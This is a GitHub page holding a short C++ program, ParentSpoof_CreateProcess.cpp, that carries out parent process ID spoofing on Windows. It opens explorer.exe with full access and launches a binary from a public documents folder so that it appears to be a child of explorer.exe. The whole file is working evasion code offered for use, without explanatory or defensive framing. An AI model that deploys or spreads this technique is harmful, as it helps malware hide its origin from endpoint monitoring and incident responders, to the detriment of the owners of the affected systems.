-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathParentSpoof_CreateProcess.cpp
More file actions
55 lines (45 loc) · 1.93 KB
/
Copy pathParentSpoof_CreateProcess.cpp
File metadata and controls
55 lines (45 loc) · 1.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
DWORD FindProcessId(const wchar_t* processName) {
PROCESSENTRY32W entry = { sizeof(entry) };
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32FirstW(snapshot, &entry)) {
do {
if (_wcsicmp(entry.szExeFile, processName) == 0) {
CloseHandle(snapshot);
return entry.th32ProcessID;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
return 0;
}
int main() {
DWORD explorerPid = FindProcessId(L"explorer.exe");
HANDLE hExplorer = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);
STARTUPINFOEXW si = { 0 };
si.StartupInfo.cb = sizeof(si);
SIZE_T attrListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrListSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hExplorer, sizeof(HANDLE), NULL, NULL);
PROCESS_INFORMATION pi = { 0 };
wchar_t exePath[] = L"C:\\Users\\Public\\Documents\\TranscodeBridge.exe";
BOOL res = CreateProcessW(exePath, NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
&si.StartupInfo, &pi);
if (res) {
printf("进程已启动,父进程为 explorer.exe\n");
} else {
printf("CreateProcess 失败: %d\n", GetLastError());
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(hExplorer);
if (pi.hProcess) CloseHandle(pi.hProcess);
if (pi.hThread) CloseHandle(pi.hThread);
return 0;
}